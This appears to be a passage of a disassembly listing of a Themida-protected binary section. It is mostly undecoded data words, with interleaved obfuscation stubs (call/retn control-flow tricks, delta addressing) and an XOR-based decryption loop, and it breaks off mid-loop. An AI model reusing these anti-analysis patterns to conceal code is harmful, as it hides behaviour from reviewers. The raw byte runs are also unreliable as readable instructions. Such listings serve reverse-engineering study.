dd 0DDA5DD8Eh, 8166488Ah, 8BE91EEFh, 15160DBDh
; ---------------------------------------------------------------------------
push es
loc_5CC3B9: ; DATA XREF: Themida_:0057BC04o
jmp loc_5CD1BD
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 61A2994h
push 0
push edx
call sub_5CC3D5
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC3D5 proc near ; CODE XREF: Themida_:005CC3CDp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 19h
inc edx
push edx
retn
sub_5CC3D5 endp
; ---------------------------------------------------------------------------
db 49h, 5Dh, 0B5h
dd 6A6EFC33h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 15042444h, 41000000h, 0BDC4C351h, 101DBD89h, 858D0615h
dd 61888F9h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 14h, 81C35747h, 8BD88B66h, 152221BDh, 4895006h, 11E824h
dd 16690000h, 90FD5449h, 0FFC7382Eh, 0FC0EF1C1h, 5BD37EBBh
dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 19042444h, 41000000h, 2515C351h, 7A3C1953h
dd 258964F8h, 0
; ---------------------------------------------------------------------------
movzx edi, cx
inc dword ptr [ebp+6151535h]
push 0
push ebp
call sub_5CC498
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC498 proc near ; CODE XREF: Themida_:005CC490p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 1Ah
inc ebp
push ebp
retn
sub_5CC498 endp
; ---------------------------------------------------------------------------
dd 0AB7544B7h, 0F57347Fh, 28Ah, 6AD88B00h, 51006AFFh, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
dd 6F1D5A7Eh, 0E003C70Ch, 0A19D03D5h, 8B06152Dh, 150AD5BDh
dd 49B5FF06h, 6A06152Ah, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 19042444h, 45000000h, 5F45C355h, 660DF9FDh
dd 68F0Fh, 0BD890000h, 6152729h, 860Fh, 95FF0000h, 61508BDh
dd 152E9h, 8D8B6000h, 6150CA1h, 68B0Fh, 95290000h, 6150A21h
dd 0E800B061h, 7, 2C1391B3h, 0E9F33B1Eh, 0Bh, 7A97424Eh
dd 0A9760CD0h, 5FDEC991h, 71E470E6h, 613CF98Bh, 111830Fh
dd 95310000h, 6151D51h, 0E8C8B60Fh, 13h, 1FE9E589h, 18B0D299h
dd 0DE068E5Dh, 42CBE61Ah, 89DEDFF2h, 15118985h, 6BA5B06h
dd 0E9000000h, 5, 886CBD13h, 0E9C18BC2h, 0Bh, 5BC517AAh
dd 0EBFFD1ACh, 0C121D3A6h, 0E95304E8h, 10h, 8A81CE76h
dd 0D4831CE4h, 0D81DBC9h, 0E60903FEh, 0E2F7665Bh, 7E8h
dd 99066300h, 98EB699Bh, 0C82B5FF9h, 2DA19D89h, 0D18B0615h
dd 33C99D8Bh, 88E90615h, 2B000000h, 1523359Dh, 4C858B06h
dd 0BB505F4Ch, 1DBB1735h, 8B07C083h, 150465BDh, 0C08306h
dd 3BFEBF0Fh, 0E830FD0h, 60000000h, 0E961F18Bh, 57h, 0ABCF8166h
dd 0FF8D8BAAh, 89FFFFFFh, 1505D58Dh, 1E18306h, 3D840Fh
dd 8D890000h, 6150BE9h, 0FFFFA583h, 66FEFFFFh, 89D77FBBh
dd 5F4C4C95h, 0DE96050h, 0A6000000h, 0C3B5112h, 0B2BC50F3h
dd 65AD161h, 61DEB70Fh, 4890Fh, 0BB660000h, 0E990A8h, 8D000000h
dd 19A5E9B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1D04h, 0C3534300h, 74238F26h, 27E64E02h, 6A148Bh, 0EDB58960h
dd 0F061518h, 588h, 6294BA00h, 0FF6168EEh, 152E2195h, 55006A06h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h
dd 5B0330E5h, 76D22F72h, 0E92B927h, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 4E382FC3h
dd 765127DCh, 19E9BD89h, 0E1830615h, 51006AFCh, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1504h, 0C3514100h, 0DB810E1Ch
dd 6DC250A2h, 0B8FCh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 9B6E3DC3h, 0C19D8B84h
dd 2B06152Ch, 152F2D9Dh, 0BA06h, 81660000h, 0AD7681DFh
dd 0E8D1C233h, 0E983D003h, 0E8F47504h, 12h, 83BB8F4Eh
dd 38AAF125h, 779FD083h, 0CA09CF7Dh, 0D5FED93h, 88h, 8BDEBF0Fh
dd 15272195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1A04h, 0C3554500h, 0FE86E03Eh, 8BB304C6h, 1504CD8Dh
dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h
dd 0C3534300h, 0E6C2A9F9h, 0A139F3A3h, 0B531DF77h, 6152F05h
dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0BD8B5818h
dd 615191Dh, 8E8h, 68C36900h, 5B165B57h, 5FFC8AC7h, 18A9BD83h
dd 0F000615h, 6484h, 0E9BD8900h, 0B806150Ah, 0
; ---------------------------------------------------------------------------
push 0
push edi
call sub_5CC847
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CC847 proc near ; CODE XREF: Themida_:005CC83Fp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ch
inc edi
push edi
retn
sub_5CC847 endp
; ---------------------------------------------------------------------------
align 4
dd 75E63C45h, 0E51BF325h, 20F18D29h, 8D8D0615h, 6154F9Eh
dd 7018D89h, 0E1FF0615h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 19h, 66C35242h, 0BD08A6FEh, 15BD8303h, 61511h
dd 47E840Fh, 0BB660000h, 0BD834EF2h, 6151115h, 88840F01h
dd 6A000004h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 2A61C350h, 15BD83F5h, 3061511h
dd 427860Fh, 0F88B0000h, 53006A60h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 1C30983Bh, 9D89DC2Fh
dd 6152DCDh, 6AD98C66h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 18042444h, 41000000h, 9258C351h, 81E4BBD2h
dd 5C4EEBD7h, 819D8B00h, 80061502h, 6A04E1h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 180424h, 57470000h, 0EFEB36C3h
dd 820F23BBh, 8, 4D950952h, 5B061510h, 10E8h, 0D11FB100h
dd 6BFD3188h, 0EF89B81Eh, 0C29228A9h, 27BF6681h, 0C90A5BB9h
dd 189840Fh, 9D8B0000h, 61502E5h, 249D858Bh, 6A0615h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
dd 0E8C618C3h, 9, 3D3D9C25h, 6B2F4154h, 7BDB8160h, 5B316896h
dd 14E9h, 6846100h, 0BBE8DE64h, 8504409Ah, 4ED34501h, 0EAF50205h
dd 0B585337Bh, 0E8061519h, 6, 67C67310h, 6E81530h, 8B000000h
dd 0AC95237Eh, 0B6F7810Bh, 5B30F040h, 5250905Bh, 0FDA8B66h
dd 5AD98A31h, 9BB35058h, 11958990h, 8B06150Ah, 1508A9BDh
dd 6A006A06h, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 1B042444h, 41000000h, 0FA37C351h, 0C7228A2Fh, 0F88BE4C9h
dd 18EDBD2Bh, 9D8B0615h, 61525C1h, 4E8h, 1F03FF00h, 0D98B6600h
dd 8B5B5350h, 52042444h, 66008B5Fh, 4489D88Bh, 0F5580424h
dd 0DAD95FFh, 6A0615h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 665275C3h, 314EE7CDh, 893C17CBh
dd 18BF9985h, 75BD2306h, 0F06150Ah, 28Dh, 0E9F0B700h, 1D7h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 1EC35747h
dd 45EA57E1h, 65FC80Eh, 12E8h, 0BBED7E00h, 0DC12D329h
dd 4D6C90CBh, 7DAB23D4h, 5FE89F1Bh, 0A9958B60h, 0E9061528h
dd 7, 0B58C5342h, 6126406Ch, 0C88B6660h, 20CD8D89h, 8B610615h
dd 18BF9185h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 0F2BC1064h, 95BD8B89h, 0E9061511h
dd 0Dh, 5FFEB66h, 70449479h, 13E31FB3h, 0E19D8B06h, 0C7061501h
dd 1800h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 3F67CBE1h, 8BE578FBh, 18BF95B5h
dd 0D840F06h, 0E8000000h, 7, 3D2E8F7Bh, 5FA99707h, 0C45858Bh
dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h
dd 55450000h, 0BA99B7C3h, 0E215F8D9h, 890689CEh, 151CADBDh
dd 9D858B06h, 23061524h, 1503B5BDh, 4468906h, 66F98B66h
dd 6650F98Bh, 3489FE8Bh, 9E824h, 0CDB90000h, 3728F4F0h
dd 0F1DF3A7h, 0FF5BDEBFh, 18BF91B5h, 0E99D8906h, 68061517h
dd 7C373FD6h, 13E8h, 0D49B9E00h, 1D6DE361h, 0EA924018h
dd 28516132h, 3C99616Ah, 5FFE8B66h, 29243481h, 0F7C283Ch
dd 681h, 75BD8900h, 66061516h, 0B11FDB81h, 0BF99858Dh
dd 95890618h, 6151DF1h, 870F50h, 89000000h, 8B602404h
dd 0F1BD8BD1h, 61061519h, 0FDB58B60h, 0F9061510h, 0AD95FF61h
dd 6A06150Dh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 19042444h, 41000000h, 77A7C351h, 58196715h, 61DF8B66h
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 95C35141h
dd 5F5851B1h, 85C73716h, 6151115h, 3, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Ch, 19C35545h, 0ED4C0499h, 2BD2E2F1h
dd 99BD83F5h, 618BFh, 17840Fh, 8D0F0000h, 6, 1A35BD23h
dd 21E90615h, 8B000000h, 15017D9Dh, 0C305006h, 11440011h
dd 10E8C101h, 2114430h, 3114C00h, 4E98358h, 36EBE775h
dd 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h
dd 501BEBE7h, 2810E8C1h, 30031164h, 58021144h, 1116428h
dd 83110430h, 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 18h, 25C35545h, 0E08C30A8h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0EDC35242h, 65D3AA5Ah
dd 0B04454AAh, 0F5051DAh, 8Dh, 835B5B00h, 151115BDh, 850F0306h
dd 3D7h, 0DC40D781h, 0BD831521h, 618BF99h, 0C4840F00h
dd 6A000003h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1A042444h, 40000000h, 1FF1C350h, 0ED5FB511h, 6E8D2h
dd 2F580000h, 18422978h, 1A1D9D8Bh, 665F0615h, 0FFB31BBBh
dd 18BF99B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
dd 1904h, 0C3514100h, 0F971D46Bh, 95FFCC09h, 61510E1h
dd 0B58BDF8Bh, 618BF8Dh, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 17h, 6DC35141h, 0F4543F3h, 6C7FFBFh, 10001h
dd 2E4866BFh, 50A8B36Bh, 0A49CBB66h, 6A243489h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
dd 41C4C357h, 99B5FFF9h, 6A0618BFh, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C4A2C356h
dd 0D9B2E4A0h, 0A195FF40h, 89061506h, 151CC5B5h, 8DB58B06h
dd 0F0618BFh, 38Ah, 86CB8000h, 59858Bh, 0FA8B0615h, 0C48689h
dd 0BD8B0000h, 6150879h, 958BFA8Ah, 6152721h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0D8C35343h, 3E3613D3h
dd 6199DC48h, 5840Fh, 7FBF0000h, 830674A7h, 0BB6604C2h
dd 50898BEFh, 57006A20h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1604h, 0C3574700h, 0FF49D46h, 0C8Bh, 7E900h, 0B5BD0000h
dd 0F3413013h, 58858D77h, 6A0618D4h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 837BC351h
dd 909B1A65h, 44B0BBDCh, 8689705Ch, 0B8h, 1781BD03h, 6A0615h
dd 0BF99B5FFh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 150424h, 57470000h, 8B3EA8C3h, 8A0F51FEh, 6, 8D0Fh
dd 0FF5B0000h, 151D4D95h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 7F37BF93h
dd 0E8506A33h, 0Fh, 0F1994CD0h, 0CCBC4AF6h, 5951A077h
dd 0E9909A6Bh, 0Ch, 79E63817h, 0A2C674F7h, 0D0FD14BAh
dd 2434895Bh, 0CE9h, 92CF2000h, 4E1BC64Fh, 6398945Dh, 99B5FFE4h
dd 290618BFh, 15175995h, 2995FF06h, 83061507h, 150065BDh
dd 840F0006h, 55h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 18h
dd 0D7C35646h, 7A823285h, 22358D89h, 0E9960615h, 9, 0ABA2F1ADh
dd 53FB3832h, 52505017h, 7E950h, 0D71D0000h, 0A70BC7C4h
dd 310F5F07h, 5396585Ah, 880F60h, 61000000h, 99B5FF5Bh
dd 8B0618BFh, 1505859Dh, 3995FF06h, 0F061504h, 0B5FFFAB7h
dd 618BF99h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 16h, 7BC35545h, 0ABB7F2EBh, 0DCD95FFh, 0BD830615h, 615285Dh
dd 79840F02h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 18042444h, 42000000h, 0B775C352h, 8B15ABBBh
dd 15284985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1504h, 0C3524200h, 820F78B4h, 7, 1850Fh, 0E8F80000h
dd 10h, 32F77749h, 0E3498F2Ch, 0C00DDB15h, 394F2B03h, 16C9B529h
dd 0C65B0615h, 5E90000h, 5A000000h, 0FAD0B85Fh, 23F585C7h
dd 615h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 71597C3h, 153F01FFh, 0E97F151Fh
dd 0FFFFF327h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 0CC35747h, 0C34CB249h, 918C6F9Dh, 0FE8B6636h, 0C380C18Bh
db 7Eh
; ---------------------------------------------------------------------------
loc_5CD1BD: ; CODE XREF: Themida_:loc_5CC3B9j
lea eax, [ebp+615279Dh]
push 0
push edi
call sub_5CD1CE
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD1CE proc near ; CODE XREF: Themida_:005CD1C6p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Ah
inc edi
push edi
retn
sub_5CD1CE endp
; ---------------------------------------------------------------------------
dw 6BE8h
; ---------------------------------------------------------------------------
sbb edi, ebp
pop ebp
inc ecx
xchg eax, esi
mov edi, [ebp+6150C5Dh]
push eax
mov bx, si
mov [esp], eax
add [ebp+615263Dh], edx
push 0
push 0
push eax
call sub_5CD205
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD205 proc near ; CODE XREF: Themida_:005CD1FDp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5CD205 endp
; ---------------------------------------------------------------------------
db 4Ch, 6Ah, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5CD223
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD223 proc near ; CODE XREF: Themida_:005CD21Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 18h
inc ecx
push ecx
retn
sub_5CD223 endp
; ---------------------------------------------------------------------------
db 0EDh
dd 0DDDB0591h, 0DE9h, 278A0200h, 6328507Fh, 1CCE2B34h
dd 858DD06Dh, 61A39CDh, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 16h, 90C35646h, 8D89B291h, 61525FDh, 6A05C083h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 16042444h
dd 41000000h, 5E30C351h, 519D8BCEh, 60061501h, 23D9D01h
dd 800F0615h, 6, 25ED9589h, 50610615h, 66605250h, 850FDF8Bh
dd 0
dd 50310F61h, 11E3BB52h, 310F2FB7h, 6E8h, 23CE0800h, 5B8FABE5h
dd 585A585Ah, 80240489h, 6AABDFh, 160D9D8Bh, 6A0615h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0FAC35242h, 25439360h
dd 9EB3C1B1h, 267995FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 1D0424h, 51410000h, 4F1F2FC3h, 0F89B82EDh
dd 0FBEDC77h, 681h, 85BD2B00h, 8D061508h, 189C158Dh, 52006A06h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h
dd 8B42FA80h, 6AD1FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1A0424h, 51410000h, 5CBF14C3h, 50DB3234h, 11E9h, 584A4A00h
dd 0D352302Eh, 730D342Dh, 73306ADh, 0BD8311FDh, 6152DB5h
dd 4D850F01h, 8B000000h, 1505C9BDh, 6A026A06h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
dd 0EE78C356h, 5283F2DEh, 66F88BB4h, 5250D98Bh, 6810Fh
dd 8E0F0000h, 0
; ---------------------------------------------------------------------------
pop ebx
mov [esp], eax
call dword ptr [ebp+6151D4Dh]
mov [ebp+6150101h], ebx
jmp loc_5CE193
; ---------------------------------------------------------------------------
call $+5
pop ebp
sub ebp, 61A39D7h
push 0
push edx
call sub_5CD418
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD418 proc near ; CODE XREF: Themida_:005CD410p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 15h
inc edx
push edx
retn
sub_5CD418 endp
; ---------------------------------------------------------------------------
aaa
dec edx
push esi
xor edi, [ebp+61512A5h]
pop ebx
push 0
push ebp
call sub_5CD43D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD43D proc near ; CODE XREF: Themida_:005CD435p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_5CD43D endp
; ---------------------------------------------------------------------------
mov edx, 8D8E601Fh
test edi, ecx
mov [eax], bl
push es
push 0
push edi
call sub_5CD462
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD462 proc near ; CODE XREF: Themida_:005CD45Ap
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5CD462 endp
; ---------------------------------------------------------------------------
dw 0B74Ch
dd 800F50F0h, 2, 48990B3h, 52006A24h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1A04h, 0C3524200h, 0FBEEFFAEh
dd 0FA4F279h, 0FF64DEBFh, 35h, 0DBD8B00h, 64061510h, 2589h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h
dd 57470000h, 51537DC3h, 667718AAh, 0DCA9EF81h, 7D958B60h
dd 66061527h, 6100EDB8h, 153585FFh, 0D7810615h, 3B7106C6h
dd 9D8BFF6Ah, 615233Dh, 33A9B5FFh, 6A0615h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 180424h, 51410000h, 0D969C9C3h
dd 0FE8B778Dh, 8BD95FFh, 0F6E90615h, 66000000h, 0B0D88Bh
dd 231D8D29h, 70E60615h, 7E8h, 467A2500h, 0CFC9B029h, 5FFB8B66h
dd 9D8971E4h, 6151D2Dh, 830F613Ch, 0C9h, 0FDA8B66h, 0FB8BC8B6h
dd 6BAh, 8B2BB300h, 0ADDB80C1h, 104E8C1h, 151081BDh, 0E2F76606h
dd 0CAD9D89h, 0C82B0615h, 6890Fh, 0BD8B0000h, 615179Dh
dd 0B589D18Bh, 6152471h, 88E9h, 0CD9D8B00h, 8B061524h
dd 47554C85h, 3D9D8B49h, 8306152Bh, 816607C0h, 8331C5F7h
dd 0CE900C0h, 6E000000h, 0B927F45Dh, 0A8440C9Eh, 3BF5F839h
dd 14830FD0h, 57000000h, 0F95BDD8Ah, 48E9h, 48B0F00h, 66000000h
dd 8BE509BBh, 0FFFFFF8Dh, 9D9D8BFFh, 83061526h, 840F01E1h
dd 29h, 33E9BD8Bh, 0DA8B0615h, 0FFFFA583h, 0FFEFFFFh, 9589FEBFh
dd 4947554Ch, 5318D89h, 0BD8B0615h, 6151A21h, 0E9h, 7BB58D00h
dd 6A0619B4h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 97F9C355h, 1DC2565Bh, 6A9C47h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 63C35242h
dd 2CAD3158h, 2D019D8Bh, 9D890615h, 6150295h, 2E2195FFh
dd 0F98B0615h, 0A459D8Bh, 20B90615h, 6A000010h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h
dd 0F05C357h, 0E183DFBFh, 699529FCh, 0FC061515h, 34158D89h
dd 0B80615h, 8B000000h, 1528199Dh, 0BA06h, 6A0000h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
dd 0B48686C3h, 5A9B54FFh, 0B5892108h, 61533C1h, 819D8Bh
dd 33AD0615h, 3E8D1C2h, 4E983D0h, 6AF475h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0DB3B86C3h
dd 601D4FBh, 6A46DC1Fh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 8EADC350h, 0CDC98ED6h
dd 0FA8AD880h, 880Dh, 3850F00h, 57000000h, 95015FF5h, 61533E9h
dd 2721958Bh, 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 150424h, 50400000h, 8B3A6CC3h, 152259BDh, 259D0306h
dd 8B061529h, 1504CD8Dh, 0AD9D8B06h, 5006152Dh, 188BC28Bh
dd 188BC103h, 0E8D1C18Bh, 188BC203h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 2C63A019h
dd 0F3DADFCEh, 81503046h, 3286A2D3h, 8D895F15h, 615168Dh
dd 69BD3357h, 5F061518h, 18A9BD83h, 0F000615h, 7984h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
dd 0A3F5D5C3h, 0DE908h, 0DC4F0000h, 7D3D5CD6h, 0FC786CCDh
dd 0B84D88FDh, 0
; ---------------------------------------------------------------------------
jo $+6
lea ecx, [ebp+6154F9Eh]
mov [ebp+6152F2Dh], esi
add bl, 0E5h
jmp ecx
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_5CD85A
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD85A proc near ; CODE XREF: Themida_:005CD852p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 17h
inc ecx
push ecx
retn
sub_5CD85A endp
; ---------------------------------------------------------------------------
lds esp, [ebp+6Ch]
ror byte ptr [ecx+150FD9BDh], 1
push es
mov ebx, [ebp+6152325h]
cmp dword ptr [ebp+6151115h], 0
jz loc_5CDCD1
push 0
push edx
call sub_5CD892
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5CD892 proc near ; CODE XREF: Themida_:005CD88Ap
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 1Ah
inc edx
push edx
retn
sub_5CD892 endp
; ---------------------------------------------------------------------------
dw 0C5BDh
dd 932F3949h, 459D8BE0h, 8306152Bh, 151115BDh, 840F0106h
dd 430h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 14h, 7DC35343h, 1115BD83h, 0F030615h, 3D186h, 52006A00h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 0CE7E1C51h, 5E1BB639h, 1A11BD8Bh, 6A600615h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
dd 7616C357h, 17F5E43h, 66A423BFh, 66D09CBBh, 0BE9D98Ch
dd 9E000000h, 37DEEDB3h, 4076958Dh, 8166AA40h, 805739D7h
dd 0DE8A04E1h, 840FC90Ah, 103h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 16h, 8FC35545h, 0E960439Dh, 0Ch
dd 507B9DB7h, 60611314h, 550A01F0h, 61F28B66h, 249D858Bh
dd 6A0615h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h
dd 50400000h, 665D10C3h, 8533F88Bh, 61519B5h, 23D9D8Bh
dd 66500615h, 895B97BBh, 6A2404h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Ch, 12C35040h, 0DAC255A9h, 7F571CF8h
dd 68B0F60h, 89000000h, 150FF59Dh, 5D686106h, 0F6AF435h
dd 1288h, 0DE900h, 9CD40000h, 7DCA1BC2h, 4EB9F724h, 819AC313h
dd 36A22434h, 0DF816AEBh, 2ABB0A95h, 0DAD95FFh, 0BE90615h
dd 56000000h, 4C13B1E7h, 62B365D2h, 8589CC7Dh, 618BF99h
dd 0BE9h, 64D6F400h, 5939FBAEh, 75E2D203h, 1F1E9h, 6FD78100h
dd 8B7DB71Eh, 18BF9185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 6BEEAF67h, 58BF30F1h
dd 1F9B531h, 0C70615h, 18h, 9D895760h, 6151041h, 0B58B6158h
dd 618BF95h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 8C35040h, 667C2C59h, 0C45858Bh, 0F8560615h, 1595895Fh
dd 8906150Ah, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1804h, 0C3534300h, 9C7A1B52h, 0ADBD8988h, 66061505h
dd 858BD88Bh, 615249Dh, 0E83EBF66h, 6A044689h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
dd 4854C353h, 880F9602h, 10h, 0AE8h, 15E92B00h, 9160C899h
dd 5BF00BA2h, 7E850h, 4F990000h, 529DACC7h, 7ABF661Eh
dd 6A965BAEh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1B042444h, 45000000h, 8301C355h, 4AC79DABh, 9529F453h
dd 61515E1h, 0BF91B5FFh, 81660618h, 68EE86CBh, 9DFDB84Fh
dd 481DC8Ah, 214BB024h, 56006A62h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1C04h, 0C3564600h, 43861F70h, 73FB18AEh
dd 13E8C3h, 0B9BD0000h, 36DDB934h, 711E190h, 0BAEAAA3Bh
dd 0EE9CA00Ch, 0D781601Ah, 1A216344h, 3C5B501h, 5B610615h
dd 29798D01h, 858D0615h, 618BF99h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 0F5C35141h, 0F6A704AAh, 5F579570h
dd 20ED8589h, 81660615h, 90DA6AF3h, 50F98B66h, 0FE8h, 0FEA7FC00h
dd 133BFEF5h, 42BE833Eh, 2A3A727h, 905FA8B3h, 19899501h
dd 95FF0615h, 6150DADh, 8218D89h, 81610615h, 6F4785C7h
dd 1585C74Dh, 3061511h, 8B000000h, 0B5BD8BF8h, 8306152Ah
dd 18BF99BDh, 840F0006h, 46h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 15h, 0CCC35141h, 0E905B7D2h, 3Dh
dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 64C35141h
dd 28998529h, 30500615h, 4400110Ch, 0E8C10111h, 11443010h
dd 114C0002h, 0E9835803h, 0EBE77504h
db 36h
; ---------------------------------------------------------------------------
loc_5CDCD1: ; CODE XREF: Themida_:005CD881j
; Themida_:005CDCE8j
push eax
xor [ecx+edx], al
add [ecx+edx+1], ah
shr eax, 10h
xor [ecx+edx+2], al
add [ecx+edx+3], ah
pop eax
sub ecx, 4
jnz short loc_5CDCD1
jmp short loc_5CDD07
; ---------------------------------------------------------------------------
loc_5CDCEC: ; CODE XREF: Themida_:005CDD03j
push eax
shr eax, 10h
sub [ecx+edx+3], ah
xor [ecx+edx+2], al
